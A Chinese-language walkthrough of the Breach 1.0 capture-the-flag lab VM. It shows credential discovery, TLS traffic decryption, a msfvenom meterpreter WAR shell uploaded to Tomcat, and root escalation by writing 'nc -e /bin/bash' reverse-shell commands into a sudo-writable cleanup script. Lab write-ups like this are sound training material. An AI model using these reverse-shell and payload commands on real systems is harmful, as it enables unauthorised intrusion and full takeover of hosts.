这次做一个Vulhub 实战靶场 Breach1.0
参考学习: https://www.cnblogs.com/sym945/p/13604758.html
前言
Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战。
VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网。非常感谢Knightmare和rastamouse进行测试和提供反馈。作者期待大家写出文章,特别是通过非预期的方式获取root权限。
环境配置
启动虚拟机,因为靶场虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only仅主机的方式,我将kali攻击机,添加了一块虚拟网卡,第二块网卡设置的网段跟虚拟机同一网段。
开始实验
下载好靶机,并且启动
知道了靶场环境的ip地址,所以可以直接使用nmap扫描端口,查询突破口,但是扫描之后发现端口全是打开的,显然是做了防端口扫描。
根据靶场规律,直接访问ip地址,发现有http服务。
查看网页源代码,发现有一串base64加密的字符串。
Base64解密连续解密两次
echo Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo | base64 -d
echocGdpYmJvbnM6ZGFtbml0ZmVlbCRnb29kdG9iZWFnYW5nJHRh| base64 -d
解密结果如下:
pgibbons:damnitfeel$goodtobeagang$ta初次推断可能是账号和密码
而且除了字符串,源码里还有个文件地址,打开访问发现另外的页面
访问页面,跳转到如下页面
点击Employee portal,进入到impresscms的登录界面。
想到之前的base64解密结果pgibbons:damnitfeel$goodtobeagang$ta
尝试用这个来登录
可以登录成功,页面如下:
使用命令,searchsploit impresscms,找到impresscms的/modules/profile/admin/field.php文件存在SQL注入漏洞,想要利用,但是发现没有权限访问该文件。
那就回到网页,看到有3个邮件消息,看是否有提示信息。
查看前两份邮件,没有任何有用的信息,直到第三份邮件发现了关键信息。
第3封邮件,主要内容:有一个peter的SSL证书被保存在192.168.110.140/.keystore
根据邮件提示,到下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式,下载下来保存好。
点击home,进入index.php
再点击content
在新界面里面发现了链接。
点开提示的,http://192.168.110.140/impresscms/modules/content/content.php?content_id=1,发现一个流量包文件,下载下来。
而且还有提示信息:They told me the alias, storepassword and keypassword are all set to 'tomcat'
别名、Keystore密码、key密码都设置成tomcat。由此推测:
1)这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了密码;
2)系统中可能存在tomcat。
在下载了keystore文件的目录中打开终端,输入命令:keytool -list -keystore Untitled.keystore,输入口令tomcat,查看keystore密钥库中的证书。
接下来,从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12的证书,输入命令:keytool -importkeystore -srckeystore Untitled.keystore -destkeystore tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat
将生成的tomcatkeystore.p12证书导入wireshark,点击编辑--首选项--Protocols--TLS,点击Edit编辑,IPaddress填写192.168.110.140,Port填写8443,Protocol填写http,Key File选择生成的tomcatkeystore.p12文件,Password填写tomcat。
分析浏览量数据包,发现一个Unauthorized的认证包,该request和response包含了Tomcat后台的登录地址:https://192.168.110.140:8443/_M@nag3Me/html
把信息提取出来:
tomcat:Tt\5D8F(#!*u=G)4m7zB 可能是账号和密码
https://192.168.110.140:8443/_M@nag3Me/html
直接访问会显示建立安全连接失败
这个时候需要打开burp suite但不开启拦截
打开代理,重新打开网页会出现登录框,把之前tomcat:Tt\5D8F(#!*u=G)4m7zB输入进去。
成功登录到后台。
有上传文件的功能,可以生产一个木马文件,
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=1234-f war -o shell.war
使用msf ,参数设置成自己刚刚设置的
把shell.war上传到网站。
上传成功后,访问https://192.168.110.140:8443/shell/shell.jsp,在msf下顺利拿到shell
查看当前用户;cat /etc/passwd 收集信息,看到两个值得关注的账户。
在/var/www/5446目录下,看到两个文件名很特殊的文件。
查看文件,发现是mysql的数据库连接文件,使用的root账户,不需要密码。
输入命令,mysql -u root -p ,进入mysql,提示输入密码,直接回车,成功连接进入mysql数据库,查看账号密码,得到milton账户的密码哈希,解密为:thelaststraw
通过密码thelaststraw 来登录milton账户。
退出mysql,使用命令,su milton,输入密码,成功登录milton账户
账户milton目录下,发现的some_script.sh脚本,没有可利用的地方
查看历史命令,发现有切换到blumbergh这个账户的操作,操作之后有切换到root的操作,所以可能提权要进入到blumbergh这个账户。
继续收集信息,http://192.168.110.140/images/,目录下找到6张图片,milton用户目录下,发现1张图片。
使用exiftool工具,查看图片,输入命令:exiftool bill.png ,发现密码:coffeestains
切换到blumbergh账户,输入之前图片中得到的密码,切换成功。
进入blumbergh目录下,查看blumbergh账户的历史命令,发现/usr/share/cleanup目录下的,tidyup.sh脚本文件。
一样进入目录,查看脚本,为root账户才能读写的,用来清理删除webapps目录下的文件的脚本。
echo "nc -e /bin/bash 192.168.110.122 2345" > shell.txt,将nc执行的反弹shell命令,写入到shell.txt文件
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh,使用tee命令将shell.txt内容输出到tidyup.sh
打开另一个终端,输入nc -lvvp 2345,监听2345端口的动静,等到一段时间,成功接到root的shell。
查看/root目录下,有个flair.jpg的文件,应该是最后的flag,将文件再次复制到/var/www/html/images中,查看图片,成功得到flag。
这个图片感觉不算是flag,回到一开始的目录下。
ls -a 发现有.flag.txt文件,直接cat一下,拿到flag,这个才是真正的flag。
结束!